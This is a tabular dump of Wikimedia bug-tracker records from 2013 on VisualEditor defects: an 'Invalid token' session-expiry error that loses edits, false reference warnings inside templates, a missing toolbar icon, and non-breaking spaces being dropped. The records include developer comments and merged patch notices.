https://bugzilla.wikimedia.org/show_bug.cgi?id=50402",Unbreak Now!,100.0,1372520820,1373917573.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-4rutvvnh7fiqox2z3go4,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.5,1.5,1.0,6.5,0.5,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,3.5,6.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,2.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,1.0,0.0,0.0,0.0,0.0,13.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,7.0,0.0,2.0,6.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.5,6.5,1.5,0.0,1.0,0.0,1.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,3.8275862068965516,0.75,"An attempt to save an article in the visual editor after a period of inactivity results in the ""Invalid token"" error message and saving fails. At this point, the user is completely stuck and their entire work is lost. 

Loss of session data can also occur in the regular source code edit window, but is easily rectified by repeated saving; this doesn't work in the visual editor. 

I would classify this as user-hostile behavior.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
238349,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","This is now fixed in master, which will be deployed within the hour.",,,1373917573,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,1.0,"This is now fixed in master, which will be deployed within the hour."
238342,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73446 merged by jenkins-bot:
mw.ViewPageTarget: Refetch token if session expired

https://gerrit.wikimedia.org/r/73446",,,1373917479,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.95,"Change 73446 merged by jenkins-bot:
mw.ViewPageTarget: Refetch token if session expired

GERRIT_URL"
238336,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Please note that the reporter of Bug 51302 also points out that the session expiry clock already starts ticking once an article is opened for *reading*, i.e. potentially much earlier than when the visual editor is started on the article.",,,1373780299,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,2.0,0.0,2.0,4.5,0.8409090909090909,"Please note that the reporter of Bug 51302 also points out that the session expiry clock already starts ticking once an article is opened for *reading*, i.e. potentially much earlier than when the visual editor is started on the article."
238331,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work",I just encountered this problem.  I would call this bug a blocker as it is effectively 'dataloss' in bmo keyword terminology!,,,1373771135,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.038461538461538,0.8846153846153846,I just encountered this problem.  I would call this bug a blocker as it is effectively 'dataloss' in bmo keyword terminology!
238326,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work",*** Bug 51302 has been marked as a duplicate of this bug. ***,,,1373759844,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51302 has been marked as a duplicate of this bug. ***
238319,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73446 had a related patch set uploaded by Krinkle:
(DRAFT) mw.ViewPageTarget: Refetch token if session expired

https://gerrit.wikimedia.org/r/73446",,,1373653678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,0.9615384615384616,"Change 73446 had a related patch set uploaded by Krinkle:
(DRAFT) mw.ViewPageTarget: Refetch token if session expired

GERRIT_URL"
238314,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73203 merged by jenkins-bot:
mw.ViewPageTarget: Improve error message for badtoken error

https://gerrit.wikimedia.org/r/73203",,,1373584937,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.619047619047619,0.9047619047619048,"Change 73203 merged by jenkins-bot:
mw.ViewPageTarget: Improve error message for badtoken error

GERRIT_URL"
238309,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73189 merged by jenkins-bot:
api: Split save action into separate API module

https://gerrit.wikimedia.org/r/73189",,,1373584284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,0.95,"Change 73189 merged by jenkins-bot:
api: Split save action into separate API module

GERRIT_URL"
238305,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73203 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Improve error message for badtoken error

https://gerrit.wikimedia.org/r/73203",,,1373566281,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9166666666666666,"Change 73203 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Improve error message for badtoken error

GERRIT_URL"
238301,"VisualEditor: ""Invalid token"" message after period of inactivity leads to lost work","Change 73189 had a related patch set uploaded by Krinkle:
API: Split save action into separate API module

https://gerrit.wikimedia.org/r/73189",,,1373566278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4rutvvnh7fiqox2z3go4,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,0.9130434782608695,"Change 73189 had a related patch set uploaded by Krinkle:
API: Split save action into separate API module

GERRIT_URL"
52423,"VisualEditor: ref warning appears within template that contains references, post-modification","Screenshot

See the screenshot; I imagine the reference is being treated as existing within the template, rather than within the template within the page - it hunts for <references\>, can't find a tag in the template itself, and freaks the heck out.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51337

**Attached**: {F11303}",Unbreak Now!,100.0,1372515720,1373852785.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,11.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,4.0,3.595505617977528,0.5955056179775281,"Screenshot

See the screenshot; I imagine the reference is being treated as existing within the template, rather than within the template within the page - it hunts for <references\>, can't find a tag in the template itself, and freaks the heck out.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL

**Attached**: {F11303}"
238262,"VisualEditor: ref warning appears within template that contains references, post-modification",I'm forking this off into bug 51337.,,,1373852785,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.3333333333333335,1.0,I'm forking this off into bug 51337.
238260,"VisualEditor: ref warning appears within template that contains references, post-modification","Change 73614 had a related patch set uploaded by Esanders:
Use new class to detect Cite errors inside templates

https://gerrit.wikimedia.org/r/73614",,,1373812887,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.608695652173913,1.0,"Change 73614 had a related patch set uploaded by Esanders:
Use new class to detect Cite errors inside templates

GERRIT_URL"
238257,"VisualEditor: ref warning appears within template that contains references, post-modification",Should probably leave this open to track improvements.,,,1373543056,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.222222222222222,1.0,Should probably leave this open to track improvements.
238252,"VisualEditor: ref warning appears within template that contains references, post-modification",Also: https://gerrit.wikimedia.org/r/73096,,,1373543029,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Also: GERRIT_URL
238247,"VisualEditor: ref warning appears within template that contains references, post-modification","These are now hidden by the above commit, which we're deploying in the next few minutes.",,,1373497983,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,1,,5.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8421052631578947,0.9473684210526315,"These are now hidden by the above commit, which we're deploying in the next few minutes."
238241,"VisualEditor: ref warning appears within template that contains references, post-modification","Change 73092 merged by jenkins-bot:
Hide ref errors inside MW transclusions

https://gerrit.wikimedia.org/r/73092",,,1373497512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.588235294117647,1.0,"Change 73092 merged by jenkins-bot:
Hide ref errors inside MW transclusions

GERRIT_URL"
238235,"VisualEditor: ref warning appears within template that contains references, post-modification","Change 73092 had a related patch set uploaded by Esanders:
Hide ref errors inside MW transclusions

https://gerrit.wikimedia.org/r/73092",,,1373492178,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,"Change 73092 had a related patch set uploaded by Esanders:
Hide ref errors inside MW transclusions

GERRIT_URL"
238227,"VisualEditor: ref warning appears within template that contains references, post-modification","The short-term fix is to just strip this comment from the returned HTML that the PHP parser gives us.

When we switch over to using Parsoid for this, we'll need that to run in context, somehow, so the references are correctly numbered and that we know to update the relevant reference lists.",,,1372690617,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pcg77ljjtbxyojrgt6ue,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,7.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,7.0,2.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,18.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.9508196721311477,0.7704918032786885,"The short-term fix is to just strip this comment from the returned HTML that the PHP parser gives us.

When we switch over to using Parsoid for this, we'll need that to run in context, somehow, so the references are correctly numbered and that we know to update the relevant reference lists."
52349,VisualEditor: Reference toolbar icon missing in wmf9,"The references list one is still there; did Trevor's change break it?

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1372404000,1372442860.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vek6torvduvoml55paap,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7272727272727273,"The references list one is still there; did Trevor's change break it?

--------------------------
**Version**: unspecified
**Severity**: critical"
233797,VisualEditor: Reference toolbar icon missing in wmf9,Fixed with new pull.,,,1372442860,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vek6torvduvoml55paap,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Fixed with new pull.
52339,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,"http://en.wikipedia.org/w/index.php?title=User%3AEdgepedia%2FVE%2FGNoSR&diff=561873747&oldid=561873385

Removes non-breaking space.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1372385580,1373056593.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-77axhndq3mqnxx2kqcjc,task_description,declined,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8846153846153846,0.6153846153846154,"URL

Removes non-breaking space.

--------------------------
**Version**: unspecified
**Severity**: major"
233191,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,"We cannot reproduce this on several different browsers/computers; it's most likely cause by a browser plug-in that the user has installed. Marking as ""WORKSFORME"" but if you can work out with the user what they have that is breaking VisualEditor it'd be good to know.",,,1373056593,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,7.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,14.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,4.0,7.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,16.0,4.0,0.0,4.0,0.0,9.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,0.0,3.912280701754386,0.8771929824561403,"We cannot reproduce this on several different browsers/computers; it's most likely cause by a browser plug-in that the user has installed. Marking as ""WORKSFORME"" but if you can work out with the user what they have that is breaking VisualEditor it'd be good to know."
